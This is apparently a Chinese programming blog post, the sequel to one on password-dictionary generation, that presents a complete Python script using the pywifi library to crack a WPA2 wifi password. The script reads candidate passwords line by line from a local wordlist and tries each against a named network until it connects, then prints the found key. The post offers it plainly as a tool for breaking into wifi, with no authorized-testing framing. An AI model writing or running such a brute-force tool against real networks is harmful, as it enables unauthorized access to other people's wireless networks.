上一篇文章我们讲解学习了密码字典生成,下面我们来看一下如何获取wifi信息,具体代码如下:
# _*_ coding : UTF-8 _*_# 开发人员:快乐的洋仔
# 开发时间: 2020/4/17 21:01
# 文件名称: pojieWifi.PY
# 开发工具: PyCharm
# coding:utf-8
import pywifi
from pywifi import const
import time
import datetime
def wifiConnect(pwd):
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()[0]
ifaces.disconnect()
wifistatus = ifaces.status()
if wifistatus == const.IFACE_DISCONNECTED:
profile = pywifi.Profile()
# 你想要破解wifi名称
profile.ssid = "iphone"
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = pwd
ifaces.remove_all_network_profiles()
tep_profile = ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
time.sleep(2)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
else:
print("已有wifi连接")
# 读取密码本
def readPwd():
print("哈哈,我们开始破解了哦:")
# 密码本路径
path = "E:\pwd.txt"
# 打开文件
file = open(path, "r")
while True:
try:
# 一行一行读取
pwd = file.readline()
success = wifiConnect(pwd)
if success:
print("密码被你完美破解: ", pwd)
break
else:
# 跳出当前循环,进行下一次循环
print("密码破解中....密码校对信息为: ", pwd)
except:
continue
readPwd()